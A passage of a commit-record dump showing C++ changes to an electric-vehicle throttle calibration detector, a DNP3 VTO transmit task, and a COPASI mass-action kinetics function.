sensorMax, uint16_t constrainMin, uint16_t constrainMax) {\n  int value = map(sensorValue, sensorMin, sensorMax, constrainMin, constrainMax);\n  return constrain(value, constrainMin, constrainMax);\n}\n<commit_msg>small fix<commit_after>\/*\n * ThrottleDetector.cpp\n *\n * This class can detect up to two potentiometers and determine their min\/max values,\n * whether they read low to high or high to low, and if the second potentiometer is\n * the inverse of the first.\n *\n Copyright (c) 2013 Collin Kidder, Michael Neuweiler, Charles Galpin\n\n Permission is hereby granted, free of charge, to any person obtaining\n a copy of this software and associated documentation files (the\n \"Software\"), to deal in the Software without restriction, including\n without limitation the rights to use, copy, modify, merge, publish,\n distribute, sublicense, and\/or sell copies of the Software, and to\n permit persons to whom the Software is furnished to do so, subject to\n the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n *\/\n\n#include \"ThrottleDetector.h\"\n\n\/*\n * The constructor takes a pointer to a throttle\n *\/\nThrottleDetector::ThrottleDetector(Throttle *throttle) {\n\tthis->throttle = throttle;\n\tconfig = (PotThrottleConfiguration *) throttle->getConfiguration();\n\tstate = DoNothing;\n\tmaxThrottleReadingDeviationPercent = 50; \/\/ 5% in 0-1000 scale\n\tLogger::debug(\"ThrottleDetector constructed with throttle %d\", throttle);\n\tresetValues();\n}\n\n\/*\n * Nothing to do in the destructor right now but good to have as a general rule\n *\/\nThrottleDetector::~ThrottleDetector() {\n}\n\n\/*\n * Operations run asynchronously in small increments each time this\n * method is called so we track the state and resume the operation each call\n *\/\nvoid ThrottleDetector::handleTick() {\n\tswitch (state) {\n\tcase DetectMinWait:\n\t\tdetectMinWait();\n\t\tbreak;\n\tcase DetectMinCalibrate:\n\t\tdetectMinCalibrate();\n\t\tbreak;\n\tcase DetectMaxWait:\n\t\tdetectMaxWait();\n\t\tbreak;\n\tcase DetectMaxCalibrate:\n\t\tdetectMaxCalibrate();\n\t\tbreak;\n\n\tcase DoNothing:\n\t\tbreak;\n\t}\n}\n\n\/*\n * Run the complete throttle detection.\n * Step 1. Kick it off\n *\/\nvoid ThrottleDetector::detect() {\n\tSerialUSB.println(\"Throttle detection starting. Do NOT press the pedal until instructed.\");\n\n\tresetValues();\n\n\t\/\/ reset stats\n\tsampleCount = 0;\n\tlinearCount = 0;\n\tinverseCount = 0;\n\tfor (int i=0; i<200; i++) {\n\t\tthrottle1Values[i]=0;\n\t\tthrottle2Values[i]=0;\n\t}\n\n\t\/\/ we wait for 2 seconds so kick this off\n\tstartTime = millis();\n\tstate = DetectMinWait;\n\n\tTickHandler::getInstance()->attach(this, CFG_TICK_INTERVAL_POT_THROTTLE);\n}\n\n\/*\n * Step 2. Wait for 2 seconds then start taking MIN readings\n *\/\nvoid ThrottleDetector::detectMinWait() {\n\tif ((millis() - startTime) >= 2000) {\n\t\t\/\/ drop initial readings as they seem to be invalid\n\t\treadThrottleValues();\n\t\tresetValues();\n\n\t\t\/\/ take MIN readings for 2 seconds\n\t\tstartTime = millis();\n\t\treadThrottleValues();\n\t\tstate = DetectMinCalibrate;\n\t}\n}\n\n\/*\n * Step 3. Take MIN readings for 2 seconds then start waiting again\n *\/\nvoid ThrottleDetector::detectMinCalibrate() {\n\tif ((millis() - startTime) < 2000 || sampleCount < maxSamples\/3 ) {\n\t\treadThrottleValues();\n\t} else {\n\t\tdisplayCalibratedValues(true);\n\n\t\t\/\/ save rest minimums\n\t\tthrottle1MinRest = throttle1Min;  \/\/ minimum sensor value at rest\n\t\tthrottle2MinRest = throttle2Min;  \/\/ minimum sensor value at rest\n\t\tthrottle2MaxRest = throttle2Max;  \/\/ maximum sensor value at rest\n\n\t\tSerialUSB.println(\"\");\n\t\tSerialUSB.println(\"Smoothly depress the pedal to full acceleration\");\n\t\tSerialUSB.println(\"and hold the pedal until complete\");\n\n\t\t\/\/ wait for 5 seconds so they can react and then still get some readings\n\t\tstartTime = millis();\n\t\tstate = DetectMaxWait;\n\t}\n}\n\n\/*\n * Step 4. Wait for 5 seconds then start taking MAX readings\n *\/\nvoid ThrottleDetector::detectMaxWait() {\n\tif ((millis() - startTime) >= 5000 || sampleCount >= maxSamples*2\/3) {\n\t\t\/\/ drop initial readings as they seem to be invalid\n\t\treadThrottleValues();\n\t\tresetValues();\n\n\t\t\/\/ take MAX readings for 2 seconds\n\t\tstartTime = millis();\n\t\treadThrottleValues();\n\t\tstate = DetectMaxCalibrate;\n\t} else {\n\t\treadThrottleValues();\n\t}\n}\n\n\/*\n * Step 5. Take MAX readings for 3 seconds then show results\n *\/\nvoid ThrottleDetector::detectMaxCalibrate() {\n\tif ((millis() - startTime) < 2000 && sampleCount < maxSamples) {\n\t\treadThrottleValues();\n\t} else {\n\t\tdisplayCalibratedValues(false);\n\n\t\t\/\/ Determine throttle type based off min\/max\n\t\tif (throttle1MinRest > throttle1Min) { \/\/ high to low pot\n\t\t\tthrottle1HighLow = true;\n\t\t}\n\n\t\tif (throttle2MinRest > throttle2Min) { \/\/ high to low pot\n\t\t\tthrottle2HighLow = true;\n\t\t}\n\n\t\t\/\/ restore the true min\n\t\tthrottle1Min = throttle1MinRest;\n\n\t\tif ((throttle1HighLow && !throttle2HighLow)\n\t\t\t\t|| (throttle2HighLow && !throttle1HighLow)) {\n\t\t\tthrottle2Inverse = true;\n\t\t}\n\n\t\t\/\/ Detect grounded pin (always zero) or floating values which indicate no potentiometer provided\n\t\t\/\/ If the values deviate by more than 15% we assume floating\n\t\tint restDiff = abs(throttle2MaxRest-throttle2MinRest) * 100 \/ throttle2MaxRest;\n\t\tint maxDiff = abs(throttle2Max-throttle2Min) * 100 \/ throttle2Max;\n\t\tif ((throttle2MinRest == 0 && throttle2MaxRest == 0\n\t\t\t\t&& throttle2Min == INT16_MAX && throttle2Max == 0)\n\t\t\t\t|| (restDiff > maxThrottleReadingDeviationPercent\n\t\t\t\t\t&& maxDiff > maxThrottleReadingDeviationPercent)) {\n\t\t\tpotentiometerCount = 1;\n\t\t} else {\n\t\t\tpotentiometerCount = 2;\n\t\t}\n\n\t\t\/\/ restore the true min\n\t\tthrottle2Min = throttle2MinRest;\n\n\t\t\/\/ Determine throttle subtype by examining the data sampled\n\t\tfor (int i=0; i<sampleCount; i++) {\n\t\t\t\/\/ normalize the values to a 0-1000 scale using the found min\/max\n\t\t\tuint16_t value1 = normalize(throttle1Values[i], throttle1Min, throttle1Max, 0, 1000);\n\t\t\tuint16_t value2 = normalize(throttle2Values[i],\n\t\t\t\t\t\t\t\t\tthrottle2Inverse ? throttle2Max : throttle2Min,\n\t\t\t\t\t\t\t\t\tthrottle2Inverse ? throttle2Min : throttle2Max,\n\t\t\t\t\t\t\t\t\t0,1000);\n\n\t\t\t\/\/ see if they match known subtypes\n\t\t\tlinearCount += checkLinear(value1, value2);\n\t\t\tinverseCount += checkInverse(value1, value2);\n\n\t\t\t\/\/Logger::debug(\"NT1: %d, NT2: %d, L: %d, I: %d\", value1, value2, linearCount, inverseCount);\n\t\t}\n\n\t\tthrottleSubType = 0;\n\t\tif (potentiometerCount > 1) {\n\t\t\t\/\/ For dual pots, we trust the detection of >75%\n\t\t\tif ( linearCount\/sampleCount*100 > 75 ) {\n\t\t\t\tthrottleSubType = 1;\n\t\t\t} else if ( inverseCount\/sampleCount*100 > 75 ) {\n\t\t\t\tthrottleSubType =  2;\n\t\t\t}\n\t\t} else {\n\t\t\t\/\/ For single pots we use the high\/low\n\t\t\tif (throttle1HighLow) {\n\t\t\t\tthrottleSubType =  2;\n\t\t\t} else {\n\t\t\t\tthrottleSubType = 1;\n\t\t\t}\n\t\t}\n\n\t\tSerialUSB.println(\"\");\n\t\tSerialUSB.println(\"=======================================\");\n\t\tSerialUSB.println(\"Detection complete\");\n\t\tSerialUSB.print(\"Num samples taken: \");\n\t\tSerialUSB.println(sampleCount);\n\t\tSerialUSB.print(\"Num potentiometers found: \");\n\t\tSerialUSB.println(potentiometerCount);\n\t\tSerialUSB.print(\"T1: \");\n\t\tSerialUSB.print(throttle1Min, DEC);\n\t\tSerialUSB.print(\" to \");\n\t\tSerialUSB.print(throttle1Max, DEC);\n\t\tSerialUSB.println(throttle1HighLow ? \" HIGH-LOW\" : \" LOW-HIGH\");\n\n\t\tif (potentiometerCount > 1) {\n\t\t\tSerialUSB.print(\"T2: \");\n\t\t\tSerialUSB.print(throttle2Inverse ? throttle2Max : throttle2Min, DEC);\n\t\t\tSerialUSB.print(\" to \");\n\t\t\tSerialUSB.print(throttle2Inverse ? throttle2Min : throttle2Max, DEC);\n\t\t\tSerialUSB.print(throttle2HighLow ? \" HIGH-LOW\" : \" LOW-HIGH\");\n\t\t\tSerialUSB.println(throttle2Inverse ? \" (Inverse of T1)\" : \"\");\n\t\t\tSerialUSB.print(\"Num linear throttle matches: \");\n\t\t\tSerialUSB.println(linearCount);\n\t\t\tSerialUSB.print(\"Num inverse throttle matches: \");\n\t\t\tSerialUSB.println(inverseCount);\n\t\t}\n\n\t\tSerialUSB.print(\"Throttle type: \");\n\t\tif (throttleSubType == 0) {\n\t\t\tSerialUSB.println(\"UNKNOWN\");\n\t\t} else if (throttleSubType == 1) {\n\t\t\tSerialUSB.println(\"Linear\");\n\t\t} else if (throttleSubType == 2) {\n\t\t\tSerialUSB.println(\"Inverse\");\n\t\t}\n\n\t\t\/*\n\t\tSerialUSB.println();\n\t\tSerialUSB.println(\"----- RAW values ----\");\n\t\tfor (int i=0; i<sampleCount; i++) {\n\t\t\tSerialUSB.println(\"T1: \" + String(throttle1Values[i]) + \", T2: \" + String(throttle2Values[i]));\n\t\t}\n\t\t*\/\n\n\t\tSerialUSB.println(\"========================================\");\n\n\t\t\/\/ update the throttle's configuration (without storing it yet)\n\t\tconfig->minimumLevel1 = throttle1Min;\n\t\tconfig->maximumLevel1 = throttle1Max;\n\t\tconfig->numberPotMeters = potentiometerCount;\n\t\tif (config->numberPotMeters > 1) {\n\t\t\tconfig->minimumLevel2 = throttle2Min;\n\t\t\tconfig->maximumLevel2 = throttle2Max;\n\t\t} else {\n\t\t\tconfig->minimumLevel2 = 0;\n\t\t\tconfig->maximumLevel2 = 0;\n\t\t}\n\t\tconfig->throttleSubType = throttleSubType;\n\n\t\t\/\/ Done!\n\t\tstate = DoNothing;\n\t\tTickHandler::getInstance()->detach(this);\n\n\t\t\/\/ send updates to ichip wifi\n\t\tDeviceManager::getInstance()->sendMessage(DEVICE_WIFI, ICHIP2128, MSG_CONFIG_CHANGE, NULL);\n\t}\n}\n\n\/*\n * Reset\/initialize some values\n *\/\nvoid ThrottleDetector::resetValues() {\n\tthrottle1Min = INT16_MAX;\n\tthrottle1Max = 0;\n\tthrottle2Min = INT16_MAX;\n\tthrottle2Max = 0;\n\n\tpotentiometerCount = 1;\n\tthrottle1HighLow = false;\n\tthrottle2HighLow = false;\n\tthrottle2Inverse = false;\n}\n\n\n\/*\n * Reads values from the throttles.\n *\/\nvoid ThrottleDetector::readThrottleValues() {\n\tRawSignalData *rawSignal = throttle->acquireRawSignal();\n\tthrottle1Values[sampleCount] = rawSignal->input1;\n\tthrottle2Values[sampleCount] = rawSignal->input2;\n\tsampleCount++;\n\n\t\/\/ record the minimum sensor value\n\tif (rawSignal->input1 < throttle1Min) {\n\t\tthrottle1Min = rawSignal->input1;\n\t}\n\n\t\/\/ record the maximum sensor value\n\tif (rawSignal->input1 > throttle1Max) {\n\t\tthrottle1Max = rawSignal->input1;\n\t}\n\n\tif (throttle2Provided()) {\n\t\t\/\/ record the minimum sensor value\n\t\tif (rawSignal->input2 < throttle2Min) {\n\t\t\tthrottle2Min = rawSignal->input2;\n\t\t}\n\n\t\t\/\/ record the maximum sensor value\n\t\tif (rawSignal->input2 > throttle2Max) {\n\t\t\tthrottle2Max = rawSignal->input2;\n\t\t}\n\t}\n}\n\n\/*\n * Compares two throttle readings and returns 1 if they are a mirror\n * of each other (within a tolerance) otherwise returns 0\n * Assumes the values are already mapped to a 0-1000 scale\n *\/\nint ThrottleDetector::checkLinear(uint16_t throttle1Value, uint16_t throttle2Value) {\n\tint match = 0;\n\n\tif ( abs(throttle1Value-throttle2Value) < maxThrottleReadingDeviationPercent) {\n\t\tmatch = 1;\n\t}\n\treturn match;\n}\n\n\/*\n * Compares two throttle readings and returns 1 if they are the inverse\n * of each other (within a tolerance) otherwise returns 0\n * Assumes the values are already mapped to a 0-1000 scale\n *\/\nint ThrottleDetector::checkInverse(uint16_t throttle1Value, uint16_t throttle2Value) {\n\tint match = 0;\n\n\tif (abs(1000 - (throttle1Value+throttle2Value)) <  maxThrottleReadingDeviationPercent) {\n\t\tmatch = 1;\n\t}\n\n\treturn match;\n}\n\nvoid ThrottleDetector::displayCalibratedValues(bool minPedal) {\n\tSerialUSB.println(\"\");\n\tSerialUSB.print(\"At \");\n\tif (minPedal) {\n\t\tSerialUSB.print(\"MIN\");\n\t} else {\n\t\tSerialUSB.print(\"MAX\");\n\t}\n\tSerialUSB.print(\" T1: \");\n\tSerialUSB.print(throttle1Min, DEC);\n\tSerialUSB.print(\" to \");\n\tSerialUSB.print(throttle1Max, DEC);\n\tif (throttle2Provided) {\n\t\tSerialUSB.print(\" T2: \");\n\t\tSerialUSB.print(throttle2Min, DEC);\n\t\tSerialUSB.print(\" to \");\n\t\tSerialUSB.print(throttle2Max, DEC);\n\t}\n\tSerialUSB.println(\"\");\n}\n\n\/**\n * Map and constrain the value to the given range\n *\/\nuint16_t ThrottleDetector::normalize(uint16_t sensorValue, uint16_t sensorMin, uint16_t sensorMax, uint16_t constrainMin, uint16_t constrainMax) {\n  int value = map(sensorValue, sensorMin, sensorMax, constrainMin, constrainMax);\n  return constrain(value, constrainMin, constrainMax);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Licensed to Green Energy Corp (www.greenenergycorp.com) under one or more\n * contributor license agreements. See the NOTICE file distributed with this\n * work for additional information regarding copyright ownership.  Green Enery\n * Corp licenses this file to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance with the\n * License.  You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  See the\n * License for the specific language governing permissions and limitations\n * under the License.\n *\/\n\n#include <APL\/Logger.h>\n\n#include \"APDU.h\"\n#include \"VtoTransmitTask.h\"\n\nusing namespace apl;\nusing namespace apl::dnp;\n\nnamespace apl {\n\tnamespace dnp {\n\n\t\tvoid VtoTransmitTask::ConfigureRequest(APDU& arAPDU)\n\t\t{\n\t\t\t\/*\n\t\t\t * For now, VTO packets are only sent as a single fragment.  We\n\t\t\t * also will require the receiver to confirm receipt, because I\n\t\t\t * don't want to have to code reliable delivery into the higher\n\t\t\t * level protocol.\n\t\t\t *\/\n\t\t\tarAPDU.Set(FC_WRITE, true, true, true, false);\n\n\t\t\t\/*\n\t\t\t * Only grab from the buffer that which will fit into a single APDU\n\t\t\t * message.  VTO is considered a 'low-priority' traffic flow, so we\n\t\t\t * don't want to hog the bandwidth with multiple fragments.\n\t\t\t *\/\n\t\t\tsize_t numObjects = this->mBuffer.Select(\n\t\t\t\t\tPC_ALL_EVENTS,\n\t\t\t\t\t(arAPDU.Size() - 2) \/ 300\n\t\t\t);\n\n\t\t\t\/*\n\t\t\t * If there are no objects to write, skip the remainder.\n\t\t\t *\/\n\t\t\tif (numObjects < 0)\n\t\t\t\treturn;\n\n\t\t\t\/*\n\t\t\t * Loop through the selected data and add corresponding objects to\n\t\t\t * the arAPDU instance.\n\t\t\t *\/\n\t\t\tVtoDataEventIter itr = this->mBuffer.Begin();\n\t\t\tfor (size_t i = 0; i < numObjects; ++i, ++itr)\n\t\t\t{\n\t\t\t\t\/* Insert a new object into the APDU message. *\/\n\t\t\t\tIndexedWriteIterator obj = arAPDU.WriteIndexed(\n\t\t\t\t\t\tGroup112Var0::Inst(),\n\t\t\t\t\t\titr->mValue.GetSize(),\n\t\t\t\t\t\titr->mIndex\n\t\t\t\t);\n\n\t\t\t\t\/* Set the object index *\/\n\t\t\t\tobj.SetIndex(itr->mIndex);\n\n\t\t\t\t\/* Write the data to the APDU message *\/\n\t\t\t\tGroup112Var0::Inst()->Write(\n\t\t\t\t\t\t*obj,\n\t\t\t\t\t\titr->mValue.GetSize(),\n\t\t\t\t\t\titr->mValue.GetData()\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\tTaskResult VtoTransmitTask::_OnPartialResponse(const APDU& arAPDU)\n\t\t{\n\t\t\tLOG_BLOCK(LEV_ERROR,\n\t\t\t\t\t\"Non fin responses not allowed for task: \"\n\t\t\t\t\t<< this->Name());\n\n\t\t\treturn TR_CONTINUE;\n\t\t}\n\n\t\tTaskResult VtoTransmitTask::_OnFinalResponse(const APDU& arAPDU)\n\t\t{\n\t\t\t\/* Remove the written data from the buffer *\/\n\t\t\tthis->mBuffer.ClearWrittenEvents();\n\n\t\t\treturn TR_SUCCESS;\n\t\t}\n\n\t\tTaskResult VtoTransmitTask::OnFailure()\n\t\t{\n\t\t\t\/* Put the written data back onto the buffer *\/\n\t\t\tthis->mBuffer.Deselect();\n\t\t}\n\n\t}\n}\n\n\/* vim: set ts=4 sw=4: *\/\n<commit_msg>Fixed OnFailure() declaration.<commit_after>\/*\n * Licensed to Green Energy Corp (www.greenenergycorp.com) under one or more\n * contributor license agreements. See the NOTICE file distributed with this\n * work for additional information regarding copyright ownership.  Green Enery\n * Corp licenses this file to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance with the\n * License.  You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  See the\n * License for the specific language governing permissions and limitations\n * under the License.\n *\/\n\n#include <APL\/Logger.h>\n\n#include \"APDU.h\"\n#include \"VtoTransmitTask.h\"\n\nusing namespace apl;\nusing namespace apl::dnp;\n\nnamespace apl {\n\tnamespace dnp {\n\n\t\tvoid VtoTransmitTask::ConfigureRequest(APDU& arAPDU)\n\t\t{\n\t\t\t\/*\n\t\t\t * For now, VTO packets are only sent as a single fragment.  We\n\t\t\t * also will require the receiver to confirm receipt, because I\n\t\t\t * don't want to have to code reliable delivery into the higher\n\t\t\t * level protocol.\n\t\t\t *\/\n\t\t\tarAPDU.Set(FC_WRITE, true, true, true, false);\n\n\t\t\t\/*\n\t\t\t * Only grab from the buffer that which will fit into a single APDU\n\t\t\t * message.  VTO is considered a 'low-priority' traffic flow, so we\n\t\t\t * don't want to hog the bandwidth with multiple fragments.\n\t\t\t *\/\n\t\t\tsize_t numObjects = this->mBuffer.Select(\n\t\t\t\t\tPC_ALL_EVENTS,\n\t\t\t\t\t(arAPDU.Size() - 2) \/ 300\n\t\t\t);\n\n\t\t\t\/*\n\t\t\t * If there are no objects to write, skip the remainder.\n\t\t\t *\/\n\t\t\tif (numObjects < 0)\n\t\t\t\treturn;\n\n\t\t\t\/*\n\t\t\t * Loop through the selected data and add corresponding objects to\n\t\t\t * the arAPDU instance.\n\t\t\t *\/\n\t\t\tVtoDataEventIter itr = this->mBuffer.Begin();\n\t\t\tfor (size_t i = 0; i < numObjects; ++i, ++itr)\n\t\t\t{\n\t\t\t\t\/* Insert a new object into the APDU message. *\/\n\t\t\t\tIndexedWriteIterator obj = arAPDU.WriteIndexed(\n\t\t\t\t\t\tGroup112Var0::Inst(),\n\t\t\t\t\t\titr->mValue.GetSize(),\n\t\t\t\t\t\titr->mIndex\n\t\t\t\t);\n\n\t\t\t\t\/* Set the object index *\/\n\t\t\t\tobj.SetIndex(itr->mIndex);\n\n\t\t\t\t\/* Write the data to the APDU message *\/\n\t\t\t\tGroup112Var0::Inst()->Write(\n\t\t\t\t\t\t*obj,\n\t\t\t\t\t\titr->mValue.GetSize(),\n\t\t\t\t\t\titr->mValue.GetData()\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\tTaskResult VtoTransmitTask::_OnPartialResponse(const APDU& arAPDU)\n\t\t{\n\t\t\tLOG_BLOCK(LEV_ERROR,\n\t\t\t\t\t\"Non fin responses not allowed for task: \"\n\t\t\t\t\t<< this->Name());\n\n\t\t\treturn TR_CONTINUE;\n\t\t}\n\n\t\tTaskResult VtoTransmitTask::_OnFinalResponse(const APDU& arAPDU)\n\t\t{\n\t\t\t\/* Remove the written data from the buffer *\/\n\t\t\tthis->mBuffer.ClearWrittenEvents();\n\n\t\t\treturn TR_SUCCESS;\n\t\t}\n\n\t\tvoid VtoTransmitTask::OnFailure()\n\t\t{\n\t\t\t\/* Put the written data back onto the buffer *\/\n\t\t\tthis->mBuffer.Deselect();\n\t\t}\n\n\t}\n}\n\n\/* vim: set ts=4 sw=4: *\/\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * CMassAction\n * \n * Created for Copasi by Stefan Hoops\n * (C) Stefan Hoops 2001\n *\/\n\n#include \"copasi.h\"\n#include \"CMassAction.h\"\n#include \"utilities\/utility.h\"\n\n#define COPASI_TRACE_CONSTRUCTION\nCMassAction::CMassAction(const std::string & name,\n                         const CCopasiContainer * pParent):\n    CFunction(name, pParent)\n{\n  CONSTRUCTOR_TRACE;\n  setType(CFunction::MassAction);\n}\n\nCMassAction::CMassAction(const CFunction & src,\n                         const CCopasiContainer * pParent):\n    CFunction(src, pParent)\n{CONSTRUCTOR_TRACE;}\n\nCMassAction::CMassAction(const TriLogic & reversible,\n                         const CCopasiContainer * pParent):\n    CFunction((reversible == TriTrue) ?\n              \"Mass action (reversible)\" :\n              \"Mass action (irreversible)\",\n              pParent)\n{\n  CONSTRUCTOR_TRACE;\n  if (reversible != TriFalse && reversible != TriTrue)\n    CCopasiMessage(CCopasiMessage::ERROR, MCMassAction + 1);\n\n  setType(CFunction::MassAction);\n  setReversible(reversible);\n\n  getParameters().add(\"k1\",\n                      CFunctionParameter::FLOAT64,\n                      \"PARAMETER\");\n  getParameters().add(\"substrate\",\n                      CFunctionParameter::VFLOAT64,\n                      \"SUBSTRATE\");\n  addUsage(\"SUBSTRATES\", 0, CRange::Infinity);\n\n  if (isReversible() == TriTrue)\n    {\n      \/\/ setName(\"Mass action (reversible)\");\n      setDescription(\"k1 * PRODUCT <substrate_i> \"\n                     \"- k2 * PRODUCT <product_j>\");\n      getParameters().add(\"k2\",\n                          CFunctionParameter::FLOAT64,\n                          \"PARAMETER\");\n      getParameters().add(\"product\",\n                          CFunctionParameter::VFLOAT64,\n                          \"PRODUCT\");\n      addUsage(\"PRODUCTS\", 0, CRange::Infinity);\n    }\n  else\n    {\n      \/\/ setName(\"Mass action (irreversible)\");\n      setDescription(\"k1 * PRODUCT <substrate_i>\");\n    }\n}\nCMassAction::~CMassAction(){DESTRUCTOR_TRACE;}\n\n\/*unsigned C_INT32 CMassAction::getParameterPosition(const std::string & name) const\n{\n  if (isReversible() != TriFalse && isReversible() != TriTrue)\n    CCopasiMessage(CCopasiMessage::ERROR, MCMassAction + 1);\n \n  if (name == \"k1\")\n    return 0;\n  if (name.substr(0, strlen(\"substrate\")) == \"substrate\")\n    return 1;\n  if (name == \"k2\" &&\n      isReversible() == TriTrue)\n    return 2;\n  if (name.substr(0, strlen(\"product\")) == \"product\" &&\n      isReversible() == TriTrue)\n    return 3;\n \n  return (unsigned C_INT32) - 1;\n}*\/\n\nstd::string CMassAction::getSBMLString(const std::vector< std::vector< std::string > > & callParameterNames,\n                                       const std::string &r) const\n  {\n    std::string sf, tmpstr;\n    unsigned C_INT32 i, imax;\n    const std::vector<std::string> * pFactors;\n\n    pFactors = &(callParameterNames[1]);   \/\/ first substr.\n    imax = pFactors->size();   \/\/ NoSubstrates\n    if (imax)\n      {\n        sf = callParameterNames[0][0] + r;           \/\/ k1\n        for (i = 0; i < imax; i++)\n          {\n            FixSName((*pFactors)[i], tmpstr);\n            sf += \"*\" + tmpstr;\n          }\n      }\n\n    if (isReversible() == TriFalse)\n      return sf;\n\n    pFactors = &(callParameterNames[3]);\n    imax = pFactors->size();\n    if (imax)\n      {\n        sf += \"-\" + callParameterNames[2][0] + r;\n        for (i = 0; i < imax; i++)\n          {\n            FixSName((*pFactors)[i], tmpstr);\n            sf += \"*\" + tmpstr;\n          }\n      }\n\n    return sf;\n  }\n\nC_FLOAT64 CMassAction::calcValue(const CCallParameterPointers & callParameters) const\n  {\n    unsigned C_INT32 i, imax;\n    C_FLOAT64 **Factor;\n    C_FLOAT64 Substrates = 0.0, Products = 0.0;\n\n    imax = ((std::vector< C_FLOAT64 *> *)callParameters[1])->size();   \/\/ NoSubstrates\n    if (imax)\n      {\n        Substrates = *(C_FLOAT64 *) callParameters[0];           \/\/ k1\n        Factor =\n          &*((std::vector< C_FLOAT64*>*)callParameters[1])->begin();   \/\/ first substr.\n\n        for (i = 0; i < imax; i++)\n          Substrates *= **(Factor++);\n      }\n\n    if (isReversible() == TriFalse)\n      return Substrates;\n\n    imax = ((std::vector< C_FLOAT64 *> *)callParameters[3])->size();   \/\/ NoProducts\n    if (imax)\n      {\n        Products = *(C_FLOAT64 *) callParameters[2];             \/\/ k2\n        Factor =\n          &*((std::vector< C_FLOAT64*>*)callParameters[3])->begin();   \/\/ first product\n\n        for (i = 0; i < imax; i++)\n          Products *= **(Factor++);\n      }\n\n    return Substrates - Products;\n  }\n\nbool CMassAction::dependsOn(const void * parameter,\n                            const CCallParameterPointers & callParameters) const\n  {\n    if (parameter == callParameters[0]) return true;\n\n    std::vector< C_FLOAT64 * >::const_iterator it;\n    std::vector< C_FLOAT64 * >::const_iterator end;\n\n    it = ((std::vector< C_FLOAT64 * > *) callParameters[1])->begin();\n    end = ((std::vector< C_FLOAT64 * > *) callParameters[1])->end();\n\n    for (; it != end; it++) if (parameter == *it) return true;\n\n    if (isReversible() == TriFalse) return false;\n\n    if (parameter == callParameters[2]) return true;\n\n    it = ((std::vector< C_FLOAT64 * > *) callParameters[3])->begin();\n    end = ((std::vector< C_FLOAT64 * > *) callParameters[3])->end();\n\n    for (; it != end; it++) if (parameter == *it) return true;\n\n    return false;\n  }\n<commit_msg>Fixed error in UsageRange for substrate and product. The minimal number hast to be 1 and not 0.<commit_after>\/**\n * CMassAction\n * \n * Created for Copasi by Stefan Hoops\n * (C) Stefan Hoops 2001\n *\/\n\n#include \"copasi.h\"\n#include \"CMassAction.h\"\n#include \"utilities\/utility.h\"\n\n#define COPASI_TRACE_CONSTRUCTION\nCMassAction::CMassAction(const std::string & name,\n                         const CCopasiContainer * pParent):\n    CFunction(name, pParent)\n{\n  CONSTRUCTOR_TRACE;\n  setType(CFunction::MassAction);\n}\n\nCMassAction::CMassAction(const CFunction & src,\n                         const CCopasiContainer * pParent):\n    CFunction(src, pParent)\n{CONSTRUCTOR_TRACE;}\n\nCMassAction::CMassAction(const TriLogic & reversible,\n                         const CCopasiContainer * pParent):\n    CFunction((reversible == TriTrue) ?\n              \"Mass action (reversible)\" :\n              \"Mass action (irreversible)\",\n              pParent)\n{\n  CONSTRUCTOR_TRACE;\n  if (reversible != TriFalse && reversible != TriTrue)\n    CCopasiMessage(CCopasiMessage::ERROR, MCMassAction + 1);\n\n  setType(CFunction::MassAction);\n  setReversible(reversible);\n\n  getParameters().add(\"k1\",\n                      CFunctionParameter::FLOAT64,\n                      \"PARAMETER\");\n  getParameters().add(\"substrate\",\n                      CFunctionParameter::VFLOAT64,\n                      \"SUBSTRATE\");\n  addUsage(\"SUBSTRATES\", 1, CRange::Infinity);\n\n  if (isReversible() == TriTrue)\n    {\n      \/\/ setName(\"Mass action (reversible)\");\n      setDescription(\"k1 * PRODUCT <substrate_i> \"\n                     \"- k2 * PRODUCT <product_j>\");\n      getParameters().add(\"k2\",\n                          CFunctionParameter::FLOAT64,\n                          \"PARAMETER\");\n      getParameters().add(\"product\",\n                          CFunctionParameter::VFLOAT64,\n                          \"PRODUCT\");\n      addUsage(\"PRODUCTS\", 1, CRange::Infinity);\n    }\n  else\n    {\n      \/\/ setName(\"Mass action (irreversible)\");\n      setDescription(\"k1 * PRODUCT <substrate_i>\");\n    }\n}\nCMassAction::~CMassAction(){DESTRUCTOR_TRACE;}\n\n\/*unsigned C_INT32 CMassAction::getParameterPosition(const std::string & name) const\n{\n  if (isReversible() != TriFalse && isReversible() != TriTrue)\n    CCopasiMessage(CCopasiMessage::ERROR, MCMassAction + 1);\n \n  if (name == \"k1\")\n    return 0;\n  if (name.substr(0, strlen(\"substrate\")) == \"substrate\")\n    return 1;\n  if (name == \"k2\" &&\n      isReversible() == TriTrue)\n    return 2;\n  if (name.substr(0, strlen(\"product\")) == \"product\" &&\n      isReversible() == TriTrue)\n    return 3;\n \n  return (unsigned C_INT32) - 1;\n}*\/\n\nstd::string CMassAction::getSBMLString(const std::vector< std::vector< std::string > > & callParameterNames,\n                                       const std::string &r) const\n  {\n    std::string sf, tmpstr;\n    unsigned C_INT32 i, imax;\n    const std::vector<std::string> * pFactors;\n\n    pFactors = 